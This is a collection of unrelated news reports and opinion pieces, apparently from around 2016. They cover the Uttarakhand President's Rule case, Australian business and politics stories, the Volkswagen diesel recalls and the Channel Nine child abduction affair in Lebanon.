The civic association will invite the Coptic group to its May 15 luncheon to meet with community members, Khalid said, and the private security hired to patrol the Todt Hill area will be extended to the religious group for its property.

"I thank the Coptic Church that they are going to be our neighbors and we welcome them with open arms," he said. "If they need anything, we will be happy to help them."

He noted that rumors of development on the property "had everyone on edge ... we didn't want to start a Mt. Manresa there, but thank God it was done yesterday."

The Franciscan Friars, who founded the friary in 1925 as a seminary and spirituality center, left the property in September 2014, with few friars left and an inability to keep up the property.

The remaining friars were reassigned to other sites and the property sat vacant since, with the exception of the few events the new Coptic group held there.

Councilman Steven Matteo had been communicating with the parties involved and advocated for the property to be used for a purpose similar to that of the friary.

He said, "The sale of Mt. Manresa was a stark reminder that we must be proactive about the potential sale of large parcels in our borough in order to preserve the character of our communities. I am pleased my discussions with the Friaries led them to understand how important it was that their land be preserved as much as possible.

"This outcome is certainly in keeping with their record of service with the people of Staten Island. I would also like to welcome our new neighbors on Todt Hill, the Coptic Orthodox Church and look forward to working with them."
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New Delhi: Resentment is brewing against BJP general secretary Kailash Vijayvargiya. Grappling with humiliation and embarrassment, a section of BJP functionaries pointed at Mr Vijayvargiya for misleading the party high command on the Uttarakhand issue. Some functionaries in the party are now branding him as the architect of the Uttarakhand mess.

Mr Vijayvargiya, in charge of West Bengal elections for the BJP, was also being accused of being missing from the action as the party continued to struggle to find a foothold in the ongoing polls in Ms Mamata Banerjees bastion.

With Assembly elections slated for next year, a section of party functionaries pointed out that there was absolutely no need to dirty its hands in Uttarakhand. They argued that the Congress was already going through a crisis following the rebellion of nine of its MLAs and the BJP should have waited and watched. They held Mr Vijayvargiya responsible for the entire mess and alleged that it was he who misled the party and claimed that the BJP can form a government in the state.

Even as the Supreme Court stayed the Uttarakhand high court order, the entire development has scarred the saffronites somewhat. A section felt the BJP should have learnt its lesson from the self-goals it scored in Delhi and Bihar. In Delhi, the party kept deferring elections, thinking it could break the Congress and AAP and form a government.

In Bihar, the party propped up JD(U) dissident leader Jitan Ram Manjhi to take on Mr Nitish Kumar. Both moves blew up in its face. After changing the Arunachal Pradesh government, the BJP high command was reportedly lured by Mr Vijayvargiya to try its luck in Uttarakhand, a senior functionary said.

Though the party put him in charge of Bengal, mainly to play the Hindutva card in the state, he apparently was too busy with his government formation plans in Uttarakhand.

A senior party functionary drew a parallel with the other BJP general secretary, Mr Ram Madhav, who was in charge of Assam and Jammu and Kashmir.

Ram Madhav managed to deliver on both fronts," the functionary pointed out. Bengal is now left to co- incharge Siddharth Nath Singh, who had claimed that the party would bag at least eight Assembly berths. This particular section of BJP leaders also pointed out that Mr Vijayvargiya had been embarrassing the party not merely with political moves but also with uncalled for remarks.

Mr Vijayvargiya, who was a minister in Mr Shivraj Singh Chouhans Cabinet in Madhya Pradesh, was brought to Delhi by the party high command. He was made party in-charge for the Haryana polls where the BJP, for the first time, formed government on its own. After the victory, his supporters had put up posters and hoardings in Haryana hailing him as Haryana ke hero (Hero of Haryana).
Hyderabad: Roads minister Tummala Nageswara Rao on Friday created a stir stating that he did not support family rule in politics. He said he would stand by Chief Minister K. Chandrasekhar Rao but not back his son, minister K.T. Rama Rao, for the CMs post if the situation arose.

He said, I will stand by K. Chandrasekhar Rao and the party. On family rule in politics, he said, No...I will not support it. I dont support family rule including from my family. Where is the question of my supporting others?

Asked whether he would not support Mr Rama Rao for the CMs post, he said, I dont support family legacy in politics. He added that no one could stop someone from climbing up the ladder if they had the mettle, including Mr Rama Rao.

Mr Nageswara Rao, fielded by TRS for the Palair bypolls, was speaking to a regional channel. A close associate of the CM from his Telugu Desam days, he was nominated as MLC and given the plum portfolio of roads and buildings.
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New Delhi: The fate of Uttarakhand swung from one extreme to another with the Supreme Court on Friday staying the Uttarakhand high courts Thursday order quashing Presidents Rule in the state.

Congress leader Harish Rawat, who was reinstated as chief minister by the high court on Thursday, called himself former chief minister after Fridays top court order.

The apex court stayed the Uttarakhand high court order till April 27, but before making the move the bench, comprising Justices Dipak Misra and Shiva Kirti Singh, recorded an undertaking given by Attorney-General Mukul Rohatgi that the Union of India shall not revoke the presidential proclamation till the next date of hearing.

The BJP, which was stunned by the high court order on Thursday, appeared somewhat rejuvenated with the Supreme Court observation. Former chief minister and leader of the dissidents Vijay Bahuguna sprang back to life and, reacting to the top court order, said, Good judgment, quite hopeful that view of HC wont find favour with SC. BJP general secretary Kailash Vijayvargiya, being branded as the architect of the Uttarakhand chaos by a section of his colleagues, said that Harish Rawat took the CM office yesterday without the permission of the governor.

Read: Kailash Vijayvargiya to blame for mess, say some in BJP

Mr Rawats reaction was that the top courts order is interim. He said the Supreme Court didnt have HCs judgment copy. We will follow SCs judgment with due respect. All in all, the state is facing a huge issue. Until SC makes a final judgment, Presidents Rule cant be revoked.

In Dehradun, the BJP continued to stress on the phrase constitutional crisis. State BJP spokesman Munna Singh Chauhan on Friday accused Mr Rawat of taking charge as CM in an unconstitutional manner. He claimed it was illegal to assume office suo motu before the Uttarakhand high court order could reach the Centre and the governor. He observed that by taking charge suo motu as chief minister, Rawat has created a constitutional crisis.

In the Supreme Court, the bench, after a 70-minute hearing of Attorney-General Rohatgi and senior counsel Harish Salve for the Union of India, senior counsel Kapil Sibal for the Speaker and Mr Abhishek Singhvi for Mr Rawat, directed that the high court judgment quashing Presidents Rule be kept in abeyance till April 27, when the matter will be taken up again. It indicated that the matter will have to be heard by a five-judge Constitution Bench.

Though the bench did not go into the merits of the appeal against the high court verdict, it observed, Suppose there is horse-trading of MLAs, it will create a dent in democracy. When the A-G pointed out that the copy of the judgment which was dictated in open court was not made available, the bench requested the high court to furnish copies of the judgment to the parties concerned by April 26 and said the same shall be filed in the apex court on the same day. When the A-G said the high court had fixed April 29 for a floor test to be taken by Mr Rawat, the bench said this aspect will be considered on April 27.
Hyderabad: Shortly after Prof. Gopal Guru's speech, P. Sainath took over with Media and Communalism  although he made it clear his speech would touch upon many topics.

For example, we are still a nation of manual scavengers. An estimate earlier revealed that it would take nearly Rs 9,000 crore to rehabilitate manual scavengers - to put them into other jobs. But thats the exact amount Vijay Mallya owes the banks. We could have used that money, Sainath said.

The award-winning journalist also slammed Union minister Giriraj Singhs comments on Thursday. The minister said India must strictly enforce a two-child norm on all religions.

Population is such a serious problem here. Our fertility replacement rate is now below 2  in parts of the country and were looking at a nation of old people in just 30 years. And this is a Union minister saying all this, for heavens sake! But the media streams these statements coupled with inane, vapid, moronic panel discussions. Everybody just shouts, goes home and we have a controversy the next day, said Mr Sainath.

Whats going on is perfectly described by a line from American comedian George Carlin. He said, never underestimate the power of stupid people in large groups, Mr Sainath added. About the incessant coverage and focus on national security, Mr Sainath said, Any nation that imposes upon its majority of people infinite insecurity, that nation can never know national security.

Sainath also attacked TV anchors. The quality of debates shows how little the anchors know about history. Who is being promoted as leader of the freedom struggle by Hindutva right? Vinayak Damodar Savarkar.

Read the letters Savarkar wrote pleading for mercy from the Raj and then, read what Bhagat Singh had to write while facing death. Let us then talk about patriotism About the process of re-writing textbooks, Sainath gave out the example of Rajasthan.

They are taking out classical stories and poems  Shelly, Yeats... all are gone. They say we must promote local writers. Which is why we have Geeta the Brave Girl from Jaipur. Nobody knows who Geeta is, and nobody knows the author. Were destroying the future of those students. They will go on and face students from other states whove had a better education, and just lose.
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There had been lots of talk but it's finally happening  Canberra's Australia's Got Talent star Callum McPhie is going to meet Ozzy Osbourne on Saturday night. The 10-year-old schoolboy from North Canberra, who is also a member of Mensa, received standing ovations for his performances on Australia's Got Talent earlier this year, and made it all the way to the grand final. Callum McPhie, the heavy metal kid, at home in north Canberra. Credit:Jamila Toderas The show's judge Kelly Osbourne was a huge fan of Callum's, having praised him, "a pure genius rock star". Kelly told an astounded Callum that her father would "100 per cent" see his performances and later confirmed that Ozzy had indeed witnessed the 10-year-old's guitar-playing and "he was in shock and he couldn't believe it".

With Ozzy touring the country with Black Sabbath this month there had been talk of Callum meeting the heavy metal legend. The McPhie family didn't get confirmation until lunchtime Friday that it was all going ahead the very next day, and they would be going to Black Sabbath's Sydney show. "We get the ultimate package for the three of us which is a sound check, a meet and greet with the band, then the show and I think they're talking about some time with Ozzy after that as well  so we're absolutely ecstatic," says Callum's dad, Doug McPhie. Since the grand final, Callum's made waves internationally, and has been written about in heavy metal magazines in 16 different languages. Instead of getting hundreds of views, his YouTube videos now garner tens of thousands. But at the end of the day, Callum's just like any other 10-year-old, enjoying his school holidays.
Labor's plan to limit the noise impact of night flights on the community surrounding the proposed airport at Badgerys Creek in western Sydney should be seriously considered, according to an aviation industry expert.

Opposition leader Bill Shorten and Shadow Minister for Infrastructure and Transport Anthony Albanese on Thursday proposed a plan for take-offs and landings between 11pm and 6am to occur to the south-west of the runway, with flight paths directed away from residential areas.

The new airport at Badgerys Creek in western Sydney is due to open in the mid-2020s. Credit:Rob Homer

UNSW School of Aviation adjunct professor Warren Mundy said while there might be issues involving tailwinds in some situations, the general idea shouldn't be "laughed out of court".

"It is a serious proposal that requires a lot of technical development," he said during a webinar held by the Royal Aeronautical Society Australian division on Friday. "If this is done properly and sensibly it will not destroy profound amounts of economic development for the project."
'It has always made sense for us to try and crack the Aussie market. When you decided to shut down your manufacturing industry, that opened the door.' The net result across the ditch has been threefold. Cheaper cars, an ageing of the national fleet, and windfall profits for the companies that trade in grey-market and second-hand vehicles. "We have always seen Australia as Treasure Island," said one industry player from New Zealand, who did not wish to be named. "Our cars are shipped past Brisbane and Melbourne to get here. It has always made sense for us to try and crack the Aussie market. When you decided to shut down your manufacturing industry, that opened the door." To that end, a number of large companies have been plotting for a little more than two years. Together, they helped create and fund a body called the Australian Imported Motor Vehicles Importers Association (AIMVIA), which purports to represent niche Australian car importers. Documents obtained by Fairfax Media reveal that AIMVIA was established under the direct instruction of its new New Zealand-based parent, an organisation called the Imported Motor Vehicles Importers Association (IMVIA).

It has always made sense for us to try and crack the Aussie market. When you decided to shut down your manufacturing industry, that opened the door. Car importer A 2014 letter signed by IMVIA's co-chairmen, Graeme Macdonald and Lloyd Wilson, could not be more blunt. "It is no secret that the potential for significant business opportunities for established New Zealand operations into a deregulated Australian marketplace are enormous," they wrote. "With the support of the wider industry here in New Zealand looking to this future, the [IMVIA] executive made the decision to engage with our Australian counterparts and seek to assist in forming a similar association to the IMVIA across the Tasman. This decision has been made with both commercial and community interests at heart." It didn't take long for the plan to be implemented.

AIMVIA was registered in NSW on June 14, 2014. Just six days later, David Vinsen, the chief executive of IMVIA, was appointed its inaugural chief executive of AIMVIA. To this day, the board of AIMVIA is chaired by a representative from across the Tasman. A key financial backer of AIMVIA is JEVIC Group, which stands for "Japan Export Vehicle Inspection Centre". JEVIC is a multi-national company that performs pre-shipment inspections on cars exported from Japan. It has offices in Britain, South Africa, Singapore, New Zealand and Kenya, and has been eying expansion into Australia for years. The second major sponsor of AIMVIA is a company called Autohub, a multi-national company that specialises in the shipping of cars from Britain and Japan. Together, the two companies control much of New Zealand's trade in parallel imports, and are key sponsors of IMVIA.

"Yes, they would have been two of our members who were the most interested in expanding into Australia," Mr Vinsen told BusinessDay. "As far as we are concerned, there has been latent corruption at the highest level in the car industry in Australia. "There has been an unhealthy and corrupt relationship between the major car companies and successive governments, to stop competition to the local manufacturers. Now they are going, we want the [Australian] market to open up to competition." One of AIMVIA's first moves was to hire national lobbyist firm GRA-Cosway, to run a campaign to help dismantle the country's car importation laws and open the market to parallel imports. Mr Vinsen said he had played a key role in hiring GRA-Cosway. "They were recommended by our New Zealand lobbyists," he said. "They have been involved in lobbying, in arranging meetings with ministers and with key people in relevant departments."

The lobbying campaign worked. GRA-Cosway's contract with AIMVIA was extended last October, and by February the new laws were announced. But confusion reigns about how the importation of grey market cars to Australia will work, especially when it comes to the thorny issue of repairs and recalls. Australian Competition and Consumer Commission commissioner Roger Featherston said at the Australian Auto Aftermarket Conference in Melbourne on Thursday that businesses, as well as individuals, may be able to import grey market cars.. "If the scheme permits Australian businesses to import vehicles for individual consumers, protections may be more readily available than if individual consumers are required to purchase their vehicle directly from an overseas entity that may have no connection with Australia," he said. "New Zealand's economy has benefited from allowing the personal importation of vehicles: consumers have access to a greater range of cars and, in some cases cheaper cars; new businesses have emerged to assist consumers with the importation process; and existing businesses have grown. We would expect to see similar benefits here in Australia."

It sounds like he is reading from the AIMVIA script. But the ACCC's message conflicts with the minister. Tony Weber pointed that out on Friday, saying the ACCC had contradicted Paul Fletcher, who has maintained only individuals, not companies, will be able to import grey market cars. And the view of Mr Fletcher? That was even less clear, especially on the thorny issue of vehicle recalls, saying the government was "consulting with the car industry" about the best way to manage that. "Certainly the process will involve greater responsibility for consumers than if they purchase their vehicle directly from a car dealer in Australia. [But] as is the case with any new policy, we have said consistently that there is a good deal of detail still to be worked through." It was enough to have one frustrated car industry boss heading for the door early, ahead of the long weekend.
"We'd like to think we bring that professionalism to the industry," Ms Bah says.



As part of its service, Urbankeyz helps advertise a property using algorithms to attract the most bookings at the highest price. It's a technique that, ironically, has been used by the hotel industry for years. "The hotel industry has spent millions on algorithms," Ms Bah says.



"We apply the same principals and it's been working pretty well." Mybnb is another company to emerge in this space. The company exclusively services Airbnb rentals, mainly in Melbourne's inner suburbs. Blake Rothfield set up the company last year after offering to help his relatives manage their properties while they were on holiday.

Now the company has 15 homes on its books in suburbs such as Fitzroy, Collingwood and South Yarra. "We basically do everything that a host would do," he says. Companies like Mybnb and Urbankeyz are emerging in markets despite the fact that they remain fraught with legal vagaries. Laws under review The NSW government is reviewing laws around short-term leasing as part of an inquiry into the sector.

It follows threats by Sydney councils to hit property owners who use home-sharing websites with hefty fines and classify their homes as serviced apartments or bed and breakfasts. But the potential for new laws around home-sharing looms over the business, Ms Bah says. "From day one, we knew there would be risks," she says. "They could outlaw it all together, which I don't think they will, but if they did we would be out of business." Mr Rothfield says the sheer size of Airbnb means greater regulation is unlikely.

"When businesses and companies get that big, they can sort of start to make the rules," he says. San Francisco-based Airbnb has long outgrown its start-up origins. The company, which began as a site for travellers seeking a spare "air" bed, now has more than 60,000 listings across Australia, mostly in inner Sydney and Melbourne. A capital raising in December valued the global corporation at $US85 billion ($115 billion). The types of accommodation on the site have also changed. Instead of spare rooms, entire homes are now the norm, with many available to lease most of the year round. Sarah Kaine, associate professor at the University of Technology Sydney, says this kind of growth ads to the challenges faced by new businesses.

"It takes the sharing economy to areas where regulation is already quite vexed and difficult," she says. "You start to have risks that you didn't have to begin with." Finance for Uber Uber's rapid rise has triggered its own feeder industries. Ride Share Solutions is a Brisbane brokerage firm set up with the aim of offering Uber drivers access to car loans and rent-to-lease finance.

As a requirement by the company, all Uber cars must be no older than nine years' old. Ride Share Solutions managing director Michael Gleeson says the majority of car loans he writes to drivers come from the big banks.



He estimates the company has written about $10 million worth of loans to Uber drivers alone so far. "As the industry matures, we'll mature with it too hopefully," he says. In the past 18 months, the number of drivers on the UberX platform in Australia has gone from zero to 20,000. The company says it has more than 1 million users in Australia. But ride-sharing services such as Uber remain illegal in all states except the ACT and NSW. And the Queensland government this week moved to toughen rules against the ride sharing company, empowering transport inspectors to fine drivers more than $2000 and the company $23,560.

Ms Kaine says the emergence of Uber financing companies raises concerns about the vulnerability of drivers, who are not classified as employees but "partners". "We're talking about extremely precarious workers who are paid  not even by the hour, but by the trip  who can be decommissioned by Uber on the basis of a bad client rating," she says. "What's going to happen if they can't make repayments?" Mr Gleeson said the company was bound by the same responsible lending rules as any other lender. "We're very strict in terms of making sure the guys are able to repay the loans," he says. Uber has also partnered with peer-to-peer lender SocietyOne to provide existing and potential drivers with loans to buy new cars.
Pressure is mounting on Murray Goulburn managing director Gary Helou after the milk co-operative plunged into a trading halt ahead of a likely earnings downgrade.

Units in Murray Goulburn's non-voting listed trust have been suspended from trade until Wednesday, while the company revises its earnings outlook.

The halt shocked the co-operative's farmer shareholders and investment analysts. One of its farmer shareholders said Murray Goulburn's management would have "a lot of egg on its face" if it downgrades earnings, given earlier this month it was talking up the market to farmers.

One analyst, who declined to be named, said: "Any downgrade is going to get investors off side and they'll take it out with management.
New Delhi: The Supreme Court on Friday stayed till April 27 the judgement of Uttarakhand High Court quashing the imposition of President's Rule in the state, giving a new turn to the continuing political drama by restoring central rule.

Before passing the order, a bench comprising Justices Dipak Misra and Shiva Kirti Singh recorded an undertaking given by Attorney General Mukul Rohatgi that the "Union of India shall not revoke the Presidential proclamation till the next date of hearing".

The apex court clarified that it was keeping in abeyance the judgement of the High Court till the next date of hearing on April 27 as a measure of balance for both the parties as the copy of the verdict was not made available to the parties.

Read: Uttarakhand HC strikes down Prez rule, tells Rawat to prove majority

While listing the matter for hearing on April 27, the bench said that the High Court shall provide the judgement passed on Thursday to the parties by April 26 and on the same date the copy of the verdict shall also be placed before the apex court.

The high-voltage hearing at 3.30 pm started with the Attorney General attacking Rawat assuming the office as Chief Minister and chairing a cabinet meeting when the copy of the judgement passed on Thursday was not made available to parties.

How can the judgement be implemented unless you have the copy of it. It can't deny a party to file an appeal. I see on TV that the respondent (Rawat) says he has been resurrected as the Chief Minister and late in the night calls for cabinet meeting. How can you say that the government has been resurrected?

"In the absence of the copy of the judgement the other party cannot go to appeal. The idea is not that you steal a march," Rohatgi said while seeking a stay of the high court judgement quashing the imposition of President's Rule in Uttarakhand and restoring the dismissed Congress government.

When the bench asked the Attorney General as to when the hearing on the appeal can take place, he said the judgement has to be signed as a signed judgement cannot be altered. "Today we find that in the absence of the signed judgement, somebody is acting in his office which is not appropriate."

"If the judgement is subject to appeal, it cannot be allowed to be implemented. It cannot be subjected to the advantage of some and disadvantage of others," he submitted assailing the quashing of the March 27 notification on proclamation of President's rule and the granting of status quo ante by the High Court.

He said the Presidential proclamation was based on the Union Cabinet's note which has considered the apex court's S R Bommai judgement which has dealt in great length with the issue of Article 356 and the floor test.

Rohatgi referred to the March 18 incident when during the presentation and passing of the Appropriation Bill, the Rawat government was reduced to minority with nine Congress MLAs turning rebel and joining hands with 27 BJP MLAs in demanding vote by division which was not allowed by the Speaker and those 35 MLAs complained to the Governor.

"Something was brewing," he said, adding that "if the voting by division was allowed to have taken place, the Rawat government would have fallen on March 18 itself. So, if the money bill falls, the government would have fallen and the majority government would have become minority."

Ousted Chief Minister Harish Rawat said he will abide by the orders of the Supreme Court. He also stated that the apex court order is interim and that the only thing that concerns him is the political crisis in Uttarakhand and the impact that it will have on the people and the development of the state.

"We will follow Supreme Court's judgement with due respect. This order is interim, till 27th, because the Supreme Court didn't have the copy of the high court's judgment. As a former chief minister, I would like to request the Supreme Court to give a verdict as soon as possible so that the state does not have to suffer because of the political crisis which has already stalled development in many ways," said Rawat.

Earlier in the day, Centre moved the top court challenging the high court's verdict. Rohatgi mentioned the appeal before a bench comprising Justices Dipak Misra and Shiva Kirti Singh, which asked him to approach the Registry for listing it for hearing today itself.

The bench said that the Registry will seek permission from Chief Justice of India (CJI) T S Thakur for listing of the appeal before an appropriate bench.

Read: Uttarakhand crisis: Centre should allow state govts to function, says Harish Rawat

At the outset, the AG said that the Special Leave Petition (SLP) has been filed today morning but "we don't have the copy of the judgement" as it was not declared and only a speaking order was passed.

A bench headed by Justice Misra was sitting in the CJI's court as the CJI was at a scheduled conference of High Court Chief Justices and judges in the national capital.

Justice Misra said in view of the non-availability of the CJI, some arrangement has to be done for its listing. The AG said there was a need for an urgent hearing in view of the apparent problem likely to occur between today and Monday. "I want to press for the stay today itself," Rohatgi said.

Read: Uttarakhand crisis: BJP paid price for ignoring leaders

A petition was also filed by nine Congress rebel MLAs who were disqualified by the Speaker and they have challenged the HC verdict keeping them away from participating in the floor test scheduled for April 29.

The AG, who was flanked by Additional Solicitors General (ASG) Maninder Singh and Tushar Mehta and senior advocate Harish Salve who had appeared for Uttarakhand in the HC, said an SLP has been filed today morning challenging the verdict of the HC pronounced yesterday by which President's proclamation under Article 356 has been quashed.

Senior advocates Kapil Sibal, Abhishek Manu Singhvi and Vivek Tankha were present on behalf of the Congress party.

Read: Uttarakhand crisis: HC raps Centre, says even the President can go wrong

Coming down heavily on the Centre for the March 27 proclamation under Art 356, the High Court had on Thursday quashed the imposition of President's rule in Uttarakhand and restored the dismissed Congress government while castigating the Centre for uprooting a democratically-elected government.

The HC had said the imposition of President's rule was contrary to the law laid down by the Supreme Court.

Read: High Court verdict victory for people of Uttarakhand: Harish Rawat

Directing revival of the Harish Rawat government, which was dismissed by the Centre on March 27, the High Court had ordered that he should seek a vote of confidence in the Assembly on April 29.
Liquidators have been appointed to chase down about $200 million in debts owed by Clive Palmer's failed Queensland Nickel enterprise.

FTI Consulting, which earlier this month delivered a damning report about the federal MP's alleged business conduct at Queensland Nickel, has been tasked with winding up the company after a unanimous vote in Townsville on Friday.

"It's now time to start to chase the money," FTI administrator John Park told a capacity audience of creditors, many of whom were among the 787 workers who lost their jobs when the Yabulu refinery closed earlier this year.

Mr Park foreshadowed a long and legally difficult fight to recover millions owed to workers, trade and other creditors, and said he expected Mr Palmer and his nephew, Queensland Nickel's sole appointed director, Clive Mensink, to challenge those efforts in court.
Employment Minister Michaelia Cash wants more men to take lower-paid nursing and teaching jobs and to work flexible hours, as Australia faces what can appear to be a "scary" jobs future.

Addressing a business breakfast in Sydney on Friday, Senator Cash said women should not continue to be unconsciously channelled into lower-paid occupations and men into high-paid ones.

"We keep on talking about, as government and a society, women needing to go into the non-traditional roles that have the higher-paid salaries," she said.

"Why aren't we also encouraging men to go into the non-traditional roles with the lower-paid salaries like nursing and teaching. You've got to have a two-way exchange there."
The German Transport Ministry said it was ordering the recall of 630,000 diesel cars because they were programmed to turn down emissions controls in cold weather. However, the ministry said that except for Volkswagen, none of the companies had illegal software designed to produce artificially low emissions under test conditions. The brands whose vehicles are subject to recall include Mercedes-Benz, General Motors' Opel unit, Volkswagen, Audi and Porsche.

Daimler, the maker of Mercedes vehicles, disclosed early Friday that it was under investigation by the US Justice Department in connection with emissions testing. On Thursday, French authorities investigating potential auto emissions anomalies gathered documents from the offices of PSA Group, the parent of Peugeot and Citroen. PSA said it was cooperating with the investigation.

Volkswagen, after a meeting Friday of its supervisory board in Wolfsburg, Germany, where the company has its headquarters, also said it would delay the publication of a widely anticipated internal investigation of how the diesel cheating came about. Instead of releasing the information in April as promised, the company will wait at least until it works out a settlement with the Justice Department.

Volkswagen said it was acting on the advice of its lawyers. A disclosure would "significantly impair Volkswagen's cooperation with the Department of Justice and weaken Volkswagen's position in any remaining proceedings," the company said in a statement.

Volkswagen has admitted that its employees programmed 11 million cars so that pollution controls operated at full capacity only when the vehicles were being tested. But seven months after the illegal emissions manipulation came to light, the company has not clarified who was responsible for the wrongdoing and whether top managers were involved.
War changed my life.

In September 1980, Iraq invaded Iran and waged a horrifying war that lasted eight years. In 1983, I was enlisted in Iran to fight in a war I didn't believe in, for a government I opposed. The terror and shock of active military service left serious psychological and emotional scars. The tragedies I witnessed, including the death of a close friend, will never be forgotten. Years later, dealing with post traumatic stress disorder left me paralysed for years until finally, through appropriate therapies, I managed to regain balance and live a relatively normal life.

Anzac Day March and Ceremony in Camden. Credit:Luke Fuda

During the first few years of my immigration to Australia, due to the challenges I had on hand and the isolation from mainstream Australians, I didn't have much of a connection with the commemorations and marches on Anzac Day. As I gradually settled in and developed bonds with the mainstream, I began to realise the significance of Anzac Day among Australians. At first it looked geared towards nationalistic sentiment and glorifying war, but my view gradually changed as I gained more understanding of its history.

As a newcomer, I was conscious of how other migrants perceived Anzac Day in a country where multiculturalism is embraced. The multicultural society in Australia at first reminded me of utopia. How amazing it is to see that people of different cultures and backgrounds can live in harmony and with mutual respect. Nevertheless, I gradually realised that the idea of keeping distinct ethnic cultures could also pose some problems for a country. I've noticed that some migrants do not feel a strong sense of belonging in Australia, or find it hard to integrate themselves into society. They decide to live in their own communities because it is much easier than fitting in with mainstream Australian culture. This seems to explain why not all migrants have much feeling for the Anzac Day commemorations.
Ms Faulkner has paid a high personal price for her foolishness at being party to a child abduction attempt. In order to secure the agreement of her estranged husband, Ali Al-Amin to drop the charges against her, she's relinquished the right to have her children visit her in Australia, probably at least until they turn 18. Such coercion would not be countenanced in the Family Court of Australia, but this is a moot point given Lebanon's radically different notions of child custody (both legal and societal) and the fact that its government has not signed the 1980 Hague Convention on international child abduction.

The two Britons and two Lebanese nationals who orchestrated the actual abduction remain behind bars. Their decision to release details of a $69,000 payment from a Sydney bank to an account controlled by Child Abduction Recovery International is clear evidence of anger at being excluded from Channel Nine's rescue efforts  directed solely at its own employees and Sally Faulkner, the mother of the two children.

His careful comments would have sent tremors thorough Nine's Sydney headquarters, now engaged in extensive damage minimisation efforts in Australia and Lebanon. The 60 Minutes film crew assigned by the network to document the failed abduction arrived back in Sydney on Thursday, much to the relief of family and friends. But the charges filed against them are still outstanding, and unless prosecutors drop them, the four Channel Nine employees may be required to return to Beirut.

Like most politicians, Malcolm Turnbull is not readily given to understatement. He was a model of restraint on Friday, however, when asked his views on Channel Nine's involvement in a botched child abduction operation in Lebanon earlier this month. Describing it as "most unwise", the prime minister went on to say that allegations the broadcaster had paid the abduction team $69,000 would "no doubt  be of interest to various regulatory agencies".

That Ms Faulkner felt the need to embark on an illegal and highly risky venture to snatch her children away from a watchful father and return them to her home in Brisbane has elicited considerable sympathy in Australia. Morally speaking, Ms Faulkner appeared to occupy the higher ground, having agreed with Mr Amin that their children could go to Beirut for a holiday (it was he who decided they should not return home). The only other course of action available to Ms Faulkner  going through the legal channels to secure their return  would have been long and costly, with no guarantee of success.

Once Ms Faulkner made the fateful decision to step outside the law, however, her claims to be the wronged party seeking only what was best for her children collapsed. That's why Mr Amin was able to drive such a hard bargain with Ms Faulkner in relation to future child visitation rights, and why he was reportedly able to demand and obtain money from Channel Nine. Being party to a criminal conspiracy, and with four employees languishing in a Beirut jail, the network could hardly tell him to go away.

Channel Nine chief executive Hugh Marks has announced an in-house review of the episode to "ascertain what went wrong and why our systems, designed to protect staff, failed to do so in this case". The most plausible scenario is that producers knew exactly what they were getting into, but put their misgivings to one side in the belief and expectation that the resulting television program would be a ratings winner for Channel Nine. Such an admission is unlikely to see the light of day, however.

If regulators do take a closer interest in Nine's payment to CARI, financial sanctions may result. This would be entirely appropriate and warranted. The story may have been "profoundly in the public interest", as Mr Marks claims, but it's never acceptable for company or individuals in their employ to engage in child abduction or indeed any other criminal act.

The other conclusion to draw from this deplorable episode is that while the law is a very imperfect instrument for the resolution of child custody issues, it has be respected. And because the law frequently fails to deliver the hoped-for result in a timely or affordable fashion, people involved in custody disputes are well advised to act politely and in good faith at all times, for to embrace bloody-mindedness and deception is to risk it all.
The focus on an array of cases allows examination of whether the problem is systematic or involves only a few bad apples, as people initially against the inquiry will have claimed. It will investigate how things came to this, why people decided or acted in particular ways, and allocate at least some provisional responsibility to particular players. This is usually better done by informal investigation by commissioned experts, with only contested testimony requiring anything like public hearings or the full natural justice panoply. Third is the need for recommendation about adjustments to existing systems to prevent such things happening again. This is not merely a matter of blame. Nor is it a matter of weighing evidence, and making conclusions on the balance of probabilities. This is why lawyer-based inquiries often fall down. The judgment required for the third function involves wisdom, philosophy, ideology, political economy and knowledge of social sciences, systems and management, as much as questions of fact or law. Only rarely will an inquiry completely succeed. It is clear, for example, that the commission into Aboriginal deaths in custody was a failure, at least at reducing deaths. This is not necessarily because the commissioners were wrong, or impractical  indeed governments and police went out of their way to pretend to accept recommendations. But nothing much happened, and the problems are much as before, often worse, as commissioners lamented this week on the 20th anniversary of the report. This is also largely true of reports on the Stolen Generation, of umpteen inquiries into treatment of people in welfare institutions, mental institutions, immigration concentration camps, and of the medical problems of soldiers exposed to nuclear radiation or Agent Orange. I expect that much the same will occur of feel-good future-focused recommendations in relation to child sexual abuse and domestic violence. Everyone will nod wisely and commit themselves to change  a real change of culture and performance. There will be an employment boom in the helping professions while there are endless seminars on following up. There will be a few high-profile events, at which politicians and prominent citizens will pretend that there has been some sort of sea change of community attitudes and bureaucratic practices. A year or two later, Bureau of Statistics figures will show the nature of the problem has not changed much.

This is also usually true of inquiries after natural disasters, especially bushfires. Virtually every significant "fire event" is the subject of an inquiry, at least if there is loss of life or property. Witnesses will tell harrowing tales of their loss. Some will point the finger. Experts will dilate, sometimes tendentiously, on the care and cultivation of bushfire conditions, and the management of crisis. A few people will be sacked, usually unfairly. All agencies in emergency management (except at Commonwealth level, which is useless, but fireproof), will be reorganised, yet again. It will be said they are being made more accountable and effective . A few years later, the next fire will reveal that not much was learnt, particularly by the politicians and the bureaucracy. A fresh inquiry will be announced, dedicated to, and promising it will really make a difference this time. Often the call for an inquiry has been generated by scandal  such as a succession of bank rip-offs, or widespread tax evasion, open defiance of the law by business franchisees, or the making nonsense of the law by multinationals. Dealing with the problem by "strengthening" the "cops on the beat" tends to admit there has been a problem, but to be focused on preventing the problem recurring. Organisations which have failed to do their job will always claim that this was the result of a lack of resources, or powers, and demand both. Only rarely, however, will they admit that failure has been a problem of priorities, of institutional will, of courage and of patience. ASIC has long been accused of institutional timidity, cultures of buckling to big interests, politicians and loud noises, and of being overwhelmed by the dimensions of systematic fraud. Some will justify past inaction by claiming that they were leading and pulling rather than pushing and prodding. In many modern regulatory bodies, the prevailing culture of "light touch" regulation is focused on being great friends with almost all of those being regulated and appealing to the finer feelings of leading lights in industry. Such best friends are often assiduous, but not necessarily sincere. The government argues that giving some more resources to the cop on the block is more likely than a royal commission to deliver "justice", or at least reparation, to victims of bank bastardry.

